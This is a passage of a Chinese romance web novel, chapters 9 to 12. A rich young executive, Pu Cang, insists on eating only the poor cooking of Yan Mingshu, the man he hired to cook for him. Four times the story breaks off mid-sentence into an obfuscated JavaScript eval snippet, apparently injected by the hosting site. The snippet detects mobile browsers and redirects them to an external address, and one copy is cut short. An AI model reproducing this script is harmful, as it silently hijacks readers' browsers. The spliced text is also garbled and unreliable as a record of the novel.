蒲沧:“那你做了什么?” “我本来想给她们打下手的,但王婆没让。我想着自己做饭做成那个恶心样子,也只能给她俩帮倒忙,就没做了。” 宴明舒很有自知之明,和蒲沧商量,“我也是你花钱雇来的嘛,现在做饭有金姐和王婆了,不如你……” 不大不小也是个需要商量的事,宴明舒把米饭餐具都摆好,回头准备看着蒲沧认真说。 结果一回头,对上蒲沧漠然的视线。 蒲沧看着桌上色香味俱全的饭菜,眼里没有一点宴明舒觉得应该有的期待、喜悦、跃跃欲试。好像摆在餐桌上的只是塑料模型,让他提不起一点进食的欲望。 他没找到让他愿意吃的食物,于是愠怒、不满。 完全没想到蒲沧会是这种反应,宴明舒一时没从他肉眼可见、违背常理的不满中反应过来。 随后听到蒲沧语气冰冷,强硬说:“我花钱雇你是来做饭的。” 宴明舒当然清楚这件事。 但是——“可我做饭很难吃,现在不是有金姐她们了吗?” “她们是来给你做饭的,而你的工作内容,是给我做饭。” 蒲沧的语气重音落在“你”和“我”两个字上。 ? 宴明舒不知道应该先怀疑自己耳朵,还是先怀疑蒲沧的耳朵、味觉、理智、脑子…… 他不可置信:“没听到吗?还是没听懂?我说我做饭很难吃。” 蒲沧咬牙:“我当然知道你做饭难吃。” 又说自己做饭难吃。 这个不识好歹的家伙! 不过重点不在于这个。 宴明舒努力忽略被说做饭难吃的不爽,据理力争,声音越来越大:“你也知道金姐王婆做饭好吃,既然她们都要做饭,为什么不让她们把你的这份一起做了?” 蒲沧冷笑:“那你做什么?还是已经找到新工作,打算不做了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258721|166497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴明舒气得脑子发涨。 他要真找到新工作就好了!真找到能给自己开这么多工资的新工作,不用做饭,不用伺候这个不识好歹味觉有毛病的异食癖神经病,也不至于被气成这样。 他大声:“我想做点自己擅长的行不行?!我会七种乐器,十八岁画的油画被拍卖到五十万,就算不看才艺,我也是正儿八经留学深造过的金融硕士。你以为我找其他工作很难吗?!” 没再管蒲沧,他转头就走。 推开办公室的门,就隔着百叶窗看到对面秘书处办公室。 穿职业套装的小姑娘点了披萨外卖,但根本没时间吃,把披萨放到一边,还在对着电脑噼里啪啦的打字。 宴明舒看着被放到一边的披萨,想——芝士凉了就不拉丝了。 …… 注意力一旦转移,刚刚上头的情绪也随之冷静下来,理智重新占领高地。 他找其他工作不难。 但找长期、稳定、能持续给他高额收益的工作很难。 七种乐器不能变现成钱。 拍到五十万的画是重新送拍的,八年前第一次送拍时才拍了九万二。他其他作品的价格也都在二十万左右,而他并不能稳定创作出能送去拍卖的画作。 金融硕士的学位……也什么都不是。比如面前这个办公室里的所有打工人,能从这么多人里厮杀出来留在集团总部老板身边,哪个没有留学背景,哪个不是顶级学校出来的顶级人才,工作到现在当然能拿百万年薪,但对自己来说就是杯水车薪。 而且他还毫无工作经验,刚开始工作的实习期,大概率贴钱打工,还要无止境加班,用自己的人脉换业绩,失去时间和自由…… 怎么说来说去,最后还是给蒲沧做饭的工作最轻松划算啊。 …… 意识到这点的宴明舒,气冲冲往外走脚步逐渐凝固,烦躁、懊恼、后悔。 要不,回去服个软? 毕竟那可是税后每月五十万啊!那可是爸爸的住院费啊!而且他还给自己请两个做饭阿姨。 宴明舒在原地定了半分钟,在为了面子赌气离开,和为了高昂工资低头服软间犹豫,最后劝好自己。 总不能为了脸,连钱都不要吧?! 但到底少有低头的经验,所以别别扭扭的,转过身重新回到办公室。 蒲沧还是他刚刚离开时的样子,站在离桌子一米远的位置,没看桌上的饭菜,也没看门口,脸色沉得能滴出水来。 宴明舒加快脚步。 听到脚步声,蒲沧眉头松展,偏头看过来。 宴明舒已经走到桌前了。 他没看蒲沧,粗声粗气说:“吃饭。” “你昨天胃疼,今天要好好吃饭。” 蒲沧的脸色渐渐舒缓,但看着桌上的饭,又别开眼去:“你吃吧。” ? 自己都服软给台阶了,他怎么还这样? 不识好歹!! 宴明舒没完全退散的火气又涌上来,他拧眉,威胁:“你吃不吃?” 蒲沧站着,腰背挺得很直,坚持:“不吃。” 宴明舒某个瞬间幻视他十八岁支教时教过的小孩。 正值青春期,调皮叛逆倔强,做错了事也是这么站着,倔得跟头驴一样,怎么也拉不回来。 但蒲沧今年二十三了啊!这栋楼里都是他的员工!怎么还这样?! 宴明舒气炸了,他一脚踢开椅子:“爱吃不吃!” 转头就走:“饿死你算了!” 9. 第 9 章 这次没有回头。 宴明舒气咻咻一路走到停车场,找到载自己来的那辆车。 司机现在不在。 他围着车走了两圈,烦得踢了脚停车场的柱子。 柱子当然不会像椅子一样被踢出去,反而把他的脚弄得很疼。 宴明舒疼得单腿站立跳出好几米,歪在柱子上缓了半分钟才不那么疼。 这时候他听到急促的脚步声,绕过柱子一看,司机急匆匆赶过来。 司机走到车前,左右看了看,没看到被柱子挡住的宴明舒,低头对着手机说:“蒲先生,宴先生不在停车场。” 不知道对面说了什么,司机应:“好,我再去找找,送他回去。嗯,好。” 司机打开车门坐进去,驱车就要离开。 宴明舒:“……” 他从柱子边绕出去,站在路边,欲盖弥彰的低头咳了声。 司机停下车,降下车窗:“宴先生,蒲先生让我送你回去。” 宴明舒:“谢谢。” 他坐上车,想到现在的时间,说:“麻烦您了。” “没事,蒲先生让我以后跟着您,您有什么出行需求随时给我打电话。” 宴明舒有了点不好的预感。 不会是把司机给自己,让自己给他当司机吧? 他问:“那他呢?” 司机:“除了我,蒲先生还有四位司机。” 宴明舒:“……” 所以蒲沧压根不缺给他工作的人,干嘛就死磕自己做的饭。 宴明舒臭着脸,被司机送回去,又臭着脸打开门,径直往厨房走。 厨房居然不是空无一人的。 金姐王婆还在忙碌着,一人擀面一人调馅,有条不紊干劲十足,看到他过来,王婆招呼:“马上就好,等一下啊。” 虽然和蒲沧吵架生气,但总不能给其他人看脸色。宴明舒和缓神色,问:“午饭不是做好了吗?怎么还在忙?” 王婆不说话了,谨慎的看金姐的眼色。 金姐马上发挥自己的超高情商,迅速判断此刻的局势,用轻松的语气回答:“蒲先生刚刚打电话来,说你要回来了,还没吃饭,让我们给你做点。” 都知道给金姐打电话叮嘱自己没吃饭,就是不愿意自己好好吃饭? 宴明舒被气得翻白眼。 金姐注意到他烦躁不耐的白眼,有些紧张,飞快转移话题:“幸好早上和了面,本来打算包烧麦吃的,现在包锅贴吃,很快就好了,你要不先去外面等上十分钟。” 宴明舒气咻咻迈进厨房:“等不了了,我还得做顿中午饭。” 金姐王婆识趣,没敢问为什么,接着做自己的活。王婆甚至把调馅的盆往一边挪了挪,整个人缩在灶台角落里。金姐也跟着挪过去,埋头擀锅贴皮。 宴明舒没注意到她们的小动作,打开冰箱翻找。 没想好要做什么饭,而且实力也不允许他做很难的菜品,他又拿出两枚鸡蛋,开火倒油,把鸡蛋磕进去。 刺啦一声。 角落里的金姐和王婆莫名被吓得一哆嗦,同时抬头看过去。 那边宴明舒已经在热火朝天的做饭了。 煎蛋、虾仁,再往锅里倒入大量开水,把挂面和青菜放进去。 等待挂面煮熟的时间,金姐王婆也捏好一人份的量,拿出平底锅倒油开始煎锅贴了。 宴明舒看着排排坐在锅里的锅贴,再看看盆里油润多汁的馅料,羡慕。 这都是怎么做出来的?为什么自己就不行? 反正挂面也要煮一会儿,他走过去拿了张锅贴皮:“这个怎么包的?” 金姐指导:“像这样,把面皮放到手上,舀起馅料放在面皮上,用手指边缘把面皮上面捏在一起就好了。非常简单。” 宴明舒拿勺子挖了一勺馅料放在面皮上,仔细避开馅料,把面皮捏在一起。 金姐夸:“诶,就是这样!非常好啊!” 她把宴明舒包的这个锅贴也放到锅里,还想接着夸:“明明真是太有天赋了,捏得这么好看,跟个……” 在一边收拾残局的王婆突然开始“呀呀呀”,两人看过去。 锅里的面汤不知道沸腾多久,现在马上要溢出来。 王婆手疾眼快把火关上了。 …… 宴明舒看着锅里因为沸腾而产生很多白沫的汤,面不改色加入盐、虾米、紫菜,再把自己煎焦的煎蛋和虾仁丢进去。 金姐和王婆看着他粗犷的动作,对视一眼,又心照不宣的移开视线。 宴明舒又把火打开,再煮了半分钟,看调料全部搅匀,就盛出来装好,拿着餐盒往外走。 金姐看他往外走的背影,问:“锅贴还吃吗?马上就好了。” 宴明舒先是摇摇头接着往前走,又一步步退回来,问:“五分钟能好吗?” 金姐点头:“可以。” 宴明舒:“那我等等吧。” = 离开不过四十分钟,宴明舒拎着两个餐盒再度来到蒲沧办公室。 对面秘书处的灯已经关上了,里面的打工人披着毯子趴在桌子上午睡。 但蒲沧还在工作。 桌上的饭菜还留在那里,一动不动,和他走时完全没有任何不同。 蒲沧还真是一口都没吃。 宴明舒觉得自己的邪火又卷土重来了。 他大步走过去,把手里的餐盒粗暴放到桌子上,叫蒲沧:“吃饭。” 蒲沧无意识滑着鼠标滚轮,把看到一半的文件翻到不知道哪儿的位置,面上还是没什么表情,看着宴明舒。 宴明舒懒得理他,气势汹汹把自己随便做出来的面条放到桌子上:“我做的。” 蒲沧这才起身过来看,看着餐盒里色香味俱无的挂面,确定是宴明舒做的了,就把餐盒放到自己面前。 总算愿意吃了。 宴明舒没好气的坐下,拿起面前的米饭小碗。 十二点刚过来时,因为早上吃多了不饿,只是馋。但等了这么一会儿,又是生气又是做饭,居然也饿了。 可惜就是蒲沧无理取闹,最开始做的饭菜放了这么久都凉了。 他拿起筷子要要吃。 米饭被拿走。 蒲沧一手拿米饭一手拿餐盒:“加热后再吃。” 宴明舒忘记动作,目光跟着蒲沧,看他拿着凉掉的食物去茶水间,打开微波炉放进去。 半分钟,米饭热好了。 蒲沧把油焖大虾放进微波炉加热,把米饭拿出来放在宴明舒面前,顺手又拿了两个食盒,回到茶水间。 四菜一汤一个米饭,他来来回回走了好几趟,把热好的饭菜第一时间拿到宴明舒面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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虽然觉得蒲沧说得可能是真的,但这句话言外之意好像自己的锅贴是天鹅堆里的小野鸭般醒目丑陋,宴明舒不能接受,一口气堵在嗓子眼,哽得他难受。 他恶狠狠看着蒲沧:“那你可就认错了,不识好歹又没眼光的家伙。” 蒲沧:“没认错。” 宴明舒不想和他小学生拌嘴,掷地有声定性:“你就是认错了。” 蒲沧:“就是没认错。” 怎么这么倔?!都二十多岁的人了,至于因为一个锅贴,跟小学生一样拌嘴吗?! 但真要就不说,任由蒲沧说自己的锅贴不好,心里也怪不爽。 宴明舒不耐烦的蹙眉,训斥:“非要顶嘴吗?” 蒲沧凝视他,目光幽远,如同一口古井,但落叶飘落,荡起一圈轻不可察的涟漪。 他不说话了。 宴明舒无声松了口气,乘胜追击:“本来就是认错了。” 蒲沧没再顶嘴,只是控制不住的微微偏头,顶了顶腮。 就是没认错。 所有锅贴里,只有那一只,因为第一次尝试不能熟练掌握力度,把原本就薄的面皮捏出晶莹剔透又歪歪扭扭的边。 泡发的木耳一样。 可爱。 10. 第 10 章 做饭时坚持让金姐王婆把蒲沧那份一起做了,因为吵架,又多做了蒲沧的午饭、足够一人吃的锅贴,结果就是有整整四个人的份量。 蒲沧倒是把他那份水囊囊味道诡异的面条吃光了,宴明舒一个人面对剩下三人的分量,吃到十分饱,也还剩下很多。 是自己执意让阿姨做两人份的饭,也是为自己才多做的这一份锅贴,他默默扣上餐盒,装回袋子里,打算带回去。 离开前想到什么,回头告诉蒲沧:“我有驾照,不需要麻烦司机。” 嘴上说着不需要麻烦司机,实际上眼睛闪着期待,暗示:“我可以自己开车。” 蒲沧上道:“车库里的车,自己挑。” 宴明舒高兴起来,拎着袋子起身:“那我先回去,你休息会儿,下午工作加油。” 没等蒲沧回答,他就已经朝门口走了。 赶快回去,挑辆帅气的跑车。 蒲沧看着他的背影,再看电脑上看到一半的文件,良久,朝根本没用过的休息室走去。 好好休息。 = 回去后挑辆车,换上干净整洁的衣服,宴明舒开车去医院看爸爸,陪爸爸说了会儿话,一眨眼时间就到五点。拒绝爸爸一起吃饭的邀请,他急匆匆回去,换上工作制服,开始做饭。 他在这边发愁晚饭要怎么做时,金姐也走过来,询问他晚上要吃什么。 宴明舒没什么想吃的,原本想让金姐随便做,想到中午剩下的那些饭菜,又叹气:“中午饭还有很多,晚上再吃一顿吧。” 金姐:“吃不完可以倒掉。” 宴明舒知道。 平常饭吃不完他也不会强迫自己完全光盘,这次是因为自己才多做了,他不想浪费太多。 “今晚再吃一顿,还吃不完就丢掉。” 虽说工作量减少,应该是求之不得的好事。但金姐想到给自己发工资的人,有些犹豫:“蒲先生……” 宴明舒以为她在担心蒲沧的晚饭归属问题,回答:“他的饭我来做。” 金姐轻轻点头,接着问:“我的意思是,蒲先生愿意我们不做饭,给你吃剩饭吗?” 宴明舒有点不明白金姐为什么会有这样的担忧。 这有什么好不愿意的?蒲沧也不是不吃剩饭的人,上次自己给他带早上剩下的蛋饼,他也都吃了。而且现在又不是他吃,他当然更不会不愿意。 想让金姐不用担心,话到嘴边,又想到中午蒲沧说什么都不肯吃金姐做的饭的倔样,不确定了。 正常来说没什么不愿意的。 现在的问题是,蒲沧是正常人吗? 宴明舒不确定,告诉金姐:“没事,我们先不说是剩饭。” 金姐点点头,看宴明舒拿出来的食材,询问:“那你有什么需要帮忙的吗?” 宴明舒立即回答:“有!” 金姐:“什么?” “你们一开始学做饭的时候都是从什么菜开始的?” 金姐:“家常菜,醋溜土豆丝、番茄鸡蛋、手撕包菜,特别简单。” 宴明舒一一把食材拿出来,清洗。 金姐帮忙,很快帮他把番茄切成小块。 宴明舒把鸡蛋磕开搅散,把包菜撕成小块,随口问金姐:“王婆呢?” “她在房间和家人打电话,需要她帮忙吗?我去叫她。” “不用。” 宴明舒就是随便找个话题,问,“王婆年纪也不大,为什么叫她王婆。” 金姐大概三十来岁,王婆最多也就四十多岁,怎么也不是婆婆的年纪。 “她姓王,家里有座山,夏天种西瓜,就叫她王婆了。” 宴明舒惊讶:“有座山?” “对,这些年在外工作,王婆攒点钱盖房子开农家乐,景色特别好,等夏天闲下来可以去玩。” 宴明舒:“那开了农家乐,她怎么还在工作,不回家享福吗?” 金姐说:“工作又不忙,两个人就做一个人的饭,一天最多忙一个多小时。蒲先生给的工资很高,还包吃住没其他花销,不用做饭的时间还能出去走走,比在家呆着舒服多了。” 宴明舒几番犹豫,最后还是没忍住好奇,冒昧询问:“姐,蒲沧一月给你们开多少工资?” 这事也算不上什么隐私,自己不说宴明舒完全可以去问蒲沧,金姐索性就自己说了:“一月三万二。” 三万二,两个人就是六万四,这个数字…… 宴明舒若有所思。 金姐问:“怎么了?” 宴明舒摇头:“没事。” = 回来的路上遇到堵车,到家的时间比蒲沧预想中的晚了五分钟。 别墅客厅里的灯没开,夕阳透过窗子照过来,光线暗淡,餐厅的灯大开着,在走廊尽头的地砖上照出一片光亮。 他走过去,看到坐在餐桌前看手机的宴明舒。 注意到声音,宴明舒放下手机招呼:“快来吃饭。这可是我第一次尝试炒菜,幸好有金姐帮我。” 蒲沧才看到桌上的饭菜。 小碗米饭冒着热气,宴明舒面前的那几道菜装盘好看,自己座位前的菜…… 大块鸡蛋和颜色稀疏的番茄汁混在一起,土豆丝是诡异的褐色,手撕包菜看上去卖相倒是还不错。 蒲沧坐下,先夹块手撕包菜。 一口下去先是咸味,随后才尝到裹在包菜里的甜。不是蔬菜本身的甜,就是糖。 没想到蒲沧第一口就是包菜,宴明舒没敢吭声。 炒番茄鸡蛋时先把鸡蛋差点炒糊,幸好金姐及时改火候,后来炒番茄时为了把番茄炒烂加很多水,把番茄炒得寡淡无味,偏偏为了调味放点糖,顺手把糖罐放到手边。就在把包菜煮好炒熟时,不小心把糖当盐放进去了。 意识到这点后他把炒好的菜用水冲了一遍,然后重新下锅炒,为了压住糖的甜味,加很多的盐。 他自己没觉得怎么样。 是金姐切完土豆丝这么一看,委婉问他放这么多盐会不会咸,他才意识到盐也放多了,于是又放点水冲淡味道。 总之味道应该挺诡异的。 蒲沧嚼碎,咽下,又开始尝放了太多醋他光是闻到都酸得睁不开眼的土豆丝。 宴明舒觑他的脸色。 蒲沧倒是没面目狰狞呲牙裂嘴,只是咽下去后去接了杯水。夹土豆丝用水一涮,接着吃。 吃饭的人都没说不好吃味道诡异,宴明舒也就当不知道自己炒出来的菜是什么味道,低头吃自己的。 他夹了只翅根。 突然听到蒲沧开口:“手怎么了?” 宴明舒愣一下,顺着看自己的手,看到拿筷子的手指上一片红痕——是最后炒番茄鸡蛋时被滚烫的锅沿烫到的。前两天做饭没敢炒菜,只敢放薄薄一层油煎烤,现在有金姐,敢于尝试炒菜了。前两道菜还紧张兮兮,倒油后就距离两米远小心油溅,但前两道菜都没问题,他盲目自信放松警惕,就在最后一道菜时不小心把手指撞到锅上,马上被烫得跳出两米远。 还是金姐先反应过来,拉着他的手去冲凉水,冲十分钟,伤口没起泡,只是红了。长长的一道,火辣辣的疼。 不过都二十多岁的人了,被烫一下也没什么。 宴明舒轻描淡写:“没事。” 蒲沧又看到他夹的菜,蹙眉,声音冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258723|166497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷:“为什么是中午的剩菜?阿姨没给你做饭吗?” 他还真不愿意啊? 宴明舒解释:“我没让她们做,中午剩的饭太多了。” “丢掉。” “很浪费,我再吃一顿,今天吃不完就倒掉。” “这顿就倒掉。” 如果是自己给蒲沧做的难吃饭,蒲沧倒掉也就倒掉了。但这是金姐王婆给自己做的,虽然没有非常好吃,味道也算不错,宴明舒不能接受这种浪费,坚持:“再吃一顿,又不让你吃,我吃的。” 蒲沧看他,似乎还想说什么。 宴明舒低头:“别顶嘴,我今天多吃一点就能少浪费一点。浪费可耻,你不知道还有很多贫困山区的小孩没条件吃好的。” 蒲沧冷漠:“那又怎样,你省下来的又不能送到他们嘴里。” “你这人怎么这样,扫兴。” 宴明舒不耐烦,“就算省下来的送不到他们嘴里,我也乐意,浪费本来就是可耻的。” 他看蒲沧面前的三道菜,吩咐:“你也不能浪费,全部吃光。” 说完,没再管蒲沧,闷头吃饭。 吃到五分饱后,吃饭速度就越来越慢,看看桌上的饭菜,再看一边的蒲沧。 蒲沧风卷残云,已经把那三道难吃菜吃得差不多了。 宴明舒:“……” 完蛋,忘了蒲沧不是正常人了,现在浪费的好像只有自己。 他又塞了一大口,加快吃饭速度。 菜色本来就没达到他心里非常好吃的标准,热了两次更是不好吃,他吃到八分饱后,就怎么都吃不下了。 一边蒲沧已经吃过饭,也没走,就坐在椅子上,目光淡然看着他。 吃完干嘛不走,坐在这里干什么? 宴明舒又夹只翅根,咬一口,味同嚼蜡的咀嚼着。 蒲沧:“吃不下就放着。” 刚刚是自己叫嚣着浪费可耻,现在对面吃光了,自己还剩下这么多,宴明舒心虚,声音也小了:“浪费可耻。” 蒲沧:“放着我晚上当夜宵吃。” 宴明舒没吃完的翅根掉下来,在桌上溅起一朵油花。 他提醒:“这是我的剩饭。” 在他的目光下,蒲沧移开视线,故作平淡:“不是你说浪费可耻?” 他这个表现,让宴明舒觉得自己这时候应该感动于他的改变和退让。 但宴明舒一点都升不出感动情绪,他把筷子放下,不可置信:“你有病吧?现在知道浪费可耻了,要不是你中午怎么都不肯吃,至于浪费这么多吗?” 蒲沧:“……” 宴明舒越想越无语:“中午刚做出来时你不吃,现在热两次不好吃了,你愿意当夜宵吃了。” “你吃难吃饭有瘾啊。” 蒲沧没说话,“唰”得站起来,居高临下看宴明舒。 他本来就高,虽然瘦,但身材高大,现在这么站着挡住光线,那种久居高位被捧出来的压迫感就溢出来了。 宴明舒整张脸隐在暗影里,心下咯噔一声,也不害怕,挺直脊背和他对峙。 最后还是蒲沧先走了。 宴明舒看着他的背影,再看看桌上的剩饭,困惑又惊异。 走到餐厅门口的蒲沧停住,微微偏头:“出来。” “干嘛?” 宴明舒起身,跟着往外走。 蒲沧没回答,带着他到了客厅,从柜子里拿出药箱。 宴明舒意识到什么,蜷起手指。 蒲沧从药箱里翻出烫伤膏和棉签,一边看烫伤膏的生产日期一边走过来,确定药膏还在有效期内才拧开,告诉宴明舒:“涂药。” 11. 第 11 章 客厅寂静。 其实别墅里不缺工作人员,做饭阿姨就有两个,更别提还有负责打扫、整理草坪、维护家具……的工作人员。 宴明舒知道有这些人,却很少见到除金姐王婆外的其他人。 可能是蒲沧的要求,他们除了工作时间从不出现在一楼。 但蒲沧从不限制宴明舒。 现在,他看着拿着药膏朝自己走来的蒲沧,后退一步,就坐到柔软沙发上了。 反而是蒲沧估量着距离,在他面前屈膝半跪下,拉住他的指尖,摊开放在膝盖上。 抽出消毒湿巾,把他的手擦干净,这才旋开药膏,用棉签沾取,轻轻涂在伤口上。 微凉药膏点在伤口上,缓解火辣辣的烫伤。宴明舒的心思却没在伤口上,而是看着蒲沧,心里涌上困惑。 蒲沧的动作很轻,把药膏点上去后,再用柔软棉签一点点扑开。没有摩擦的动作,伤口没感觉到一丝不适,就被药膏均匀覆盖。 涂完药膏,蒲沧起身,丢掉棉签,把药膏放到桌上:“洗完手自己再涂一层。” 宴明舒先看桌上的药膏,再仰头看蒲沧:“你也知道我可以自己涂啊?” 那为什么还要这样给自己涂药? 蒲沧表情一僵,只当没听见,走了。 宴明舒看着他离开的背影,目光游移眼神闪烁,在终于看不到他时,卸下所有力气窝在沙发背上,不自觉叹了口气。 蒲沧这人有病。 他当然不是第一天知道这件事,从第一次见面蒲沧说恨自己时,就确定了。 只是当时他不在意这个人。所以蒲沧的恨、乃至这对他来说无缘无故恨意背后的原因,都和他没有任何关系,他并不好奇也不想追究。 而现在…… 宴明舒想了想,觉得——其实还是和自己无关。 蒲沧现在的表现完全不像是恨自己,如果没有那句“我恨你”在先,他甚至怀疑对方暗恋自己多年。甚至蒲沧说了恨自己在先,他看蒲沧这几天的反应,也依旧会觉得,他是不是暗恋自己多年。 不过这也和自己没什么关系。 他的喜欢就是他自己的事,难道他喜欢自己,自己就要对他的喜欢负责吗?而且他都说恨自己,自己不应该自作多情,也没必要因为他的话、他的所作所为苦恼,影响了自己的心情。 宴明舒这样告诉自己,起身到外面的草坪上散步。 书房里,蒲沧换下西装,正在处理工作。在书柜翻找之前收购案具体合同时,注意到窗户外,一楼草坪上有个人影。 这个时间,能在草坪上的只有一个人。 他停下翻找的动作,倚着书柜看过去。 宴明舒走两步,跳一个做个虚空投篮动作,做完后好像看到篮球进篮的样子,跳得更高,给自己比加油打气的姿势。 宽松的上衣随着他的动作掀开一节,能看到裤子外的内裤边。黑色的一截,和白皙皮肤的分界线明显。 蒲沧好像被这道线划伤了眼,微微偏头移开视线,但很快又看过去。 宴明舒已经完美三分球的喜悦中走出来了,现在不断开合双臂接着往前走,走到草坪中间,弯腰做打高尔夫的动作。 很明显,高尔夫球也打进了,宴明舒直起身,绅士优雅的挥手示意。 他接着往前走,打了网球、比划了拳击姿势、练习了划艇,然后比划着射箭的姿势,随便对准方向,放箭—— 宴明舒顺着箭矢消失的方向,看到一楼那扇窗,还有窗口看过来的人。 四目相对。 宴明舒顾不上做庆祝姿势,飞快放下抬起的手臂,转头接着往前走。 脚步越来越快,最后完全跑起来了。 晚风吹在他的脸上,薄汗被吹干,微微凉意。 宴明舒垂着头闷头跑,刚刚通过运动好不容易压下去的起伏卷土重来,他忍无可忍的想——蒲沧有病吧?不好好工作看自己干嘛?这个神经病到底想干什么?! = 绕着草坪跑了好几圈,双倍完成了锻炼目标,身体疲累至极,脑子还是对蒲沧想干嘛这个问题没一点头绪。宴明舒实在缺少考虑别人想法的天赋,最后还是决定不想了,不要为这些事影响自己的心情。 他回房间简单拉伸,洗了澡,睡前照例去厨房巡视自己的领土。 正好撞上蒲沧。 蒲沧就坐在餐厅的桌前,桌上摆着的正是他晚上没吃完的剩饭。蒲沧带着手套,把他吃剩下的油焖大虾一一剥开,放到一边的小碟子里。 似乎注意到他的动静,偏头看过来。 目光对视,宴明舒觉得自己艰难压下去的困惑又要涌出来了。他明明是个很不在意别人看法的人,现在对上蒲沧,总是控制不住的想——他到底想干嘛啊? 蒲沧先开口:“二楼健身房有专业器械,想锻炼可以去那里。” 宴明舒:“……” 想到晚上在草坪里自己都做了什么,再想到蒲沧不知道看了多久。宴明舒还是没想明白蒲沧到底想干嘛,只知道他现在真的很想灭口。 “知道了。” 他这样回答蒲沧,就决定回房间休息。路过蒲沧时,看着他宽松睡衣下突出的骨骼,还是没忍住,“为什么还有健身房?你不会还运动健身吧?都瘦成这样了,你应该先增重。” 蒲沧背对着他,还在吃饭,并不回答。 宴明舒不知道还好,现在知道了,一定要得到答案,他绕到蒲沧面前坐下,催促:“听到没有,说话。” 蒲沧:“不多。” 不多,就是还有喽? 宴明舒不敢相信:“你做力量训练的时候真不怕把骨头弄折了?” 蒲沧面无表情看他,咬碎翅根上的脆骨,眼神冷淡,无端显得阴森森的。 宴明舒和他对视:“看在你工资这么多的份上,给你额外赠送营养师服务,下次运动的时候和我说一声,根据运动量多给你补蛋白和碳水。” 蒲沧收回视线,微微颔首。 这个反应过于平淡,宴明舒不喜欢,但看他正在吃自己剩饭的可怜样,没说什么,起身就要离开。 刚站起来,身后蒲沧开口:“要加工资吗?” 宴明舒:“……” 他开口的时候是没想加工资的,毕竟五十万真的很多,够蒲沧请做饭好吃的厨子,再请一个正儿八经很懂营养学的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258724|166497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营养师了。可蒲沧都问要不要加工资,有钱干嘛不要? 不过自己刚刚都说额外赠送了…… 心思百转千回,宴明舒扶着桌子重新坐回去,和他商量:“营养师就当是送的了,但是你还可以雇我做其他工作。” 蒲沧问:“你想做什么?” 宴明舒想了想,不确定:“弹琴?比如你现在一个人吃饭,不觉得干巴吗?” 蒲沧把剩饭往前一推:“一起吃。” 宴明舒:“我现在不吃。你可以雇我给你弹琴,钢琴小提琴大提琴古琴古筝扬琴甚至琵琶,都可以,而且你随便点曲子,我都会。” “而且也不贵,我在桃源干活时刘敞一月给我三万,给你打个折,一月一万八就好,相当于一顿饭两百。如果碰上一月三十一天的情况,多出来的一天就当是送你的。” 蒲沧兴致缺缺:“不用,你要陪我一起吃饭。” 怎么对一起吃饭这件事这么执着?明明金姐王婆都是自己吃的。 宴明舒怀疑:“签合同时也没说我需要陪你吃饭吧?这是额外的价钱。给你打个折,一顿饭两百行不行?” 蒲沧:“签合同时也没说要给你请做饭阿姨。” 他看宴明舒,“要把请阿姨的钱也从你的工资里扣掉吗?” 两个阿姨一月工资就得六万四,自己需要这么多钱以备不时之需。 宴明舒只好忍让:“不要。” 借着吃饭的动作,蒲沧微微低头,压下嘴角弧度。 宴明舒:“那画画呢?家里太空荡了,需要一些画来做装饰。” 说完,还没等蒲沧说什么,他自己放弃了,“算了,什么工具都没有。” 画作的价值又很难定义。前几年他的作品还算炙手可热,他任性,又要突破自己的固有风格,又看不起文艺圈的曲曲绕绕,没趁热打出名气,没有名气的人画出来的作品不值钱。就算不值钱,也是他的心血,实在很难定价。 “二楼有画室。” 蒲沧一边吃饭,一边告诉他,“工具随便用,你自己看着画。” 二楼怎么什么都用…… 宴明舒微微仰头看二楼的方向,又问:“二楼还有没有音乐厅?” 蒲沧:“没有。” 宴明舒:“哦。太久不练琴,手都生了。” 蒲沧的目光落在他的手上,很快又收回。 宴明舒给自己磨了个副业出来,现在心情不错,陪蒲沧吃完剩饭夜宵,才回房间休息。 睡前迷迷糊糊听到外面有什么动静,也懒得起床看,就这么睡了。 第二天醒来去厨房做饭,路过餐厅走到厨房门口,总觉得好像有哪里不对。 他退回去看客厅。 客厅没问题。 往前两步去看厨房。 厨房也没任何问题。 那到底是哪里出问题呢? 宴明舒四处查看,把视线投向餐厅角落里。 那里之前放着一个小几,小几上摆着唱片机、酒柜、一边的椅子上还有绿植。但现在,那些东西全部不见了,取而代之的,是一台钢琴。 甚至还是他从小练习、用惯了的品牌型号。 12. 第 12 章 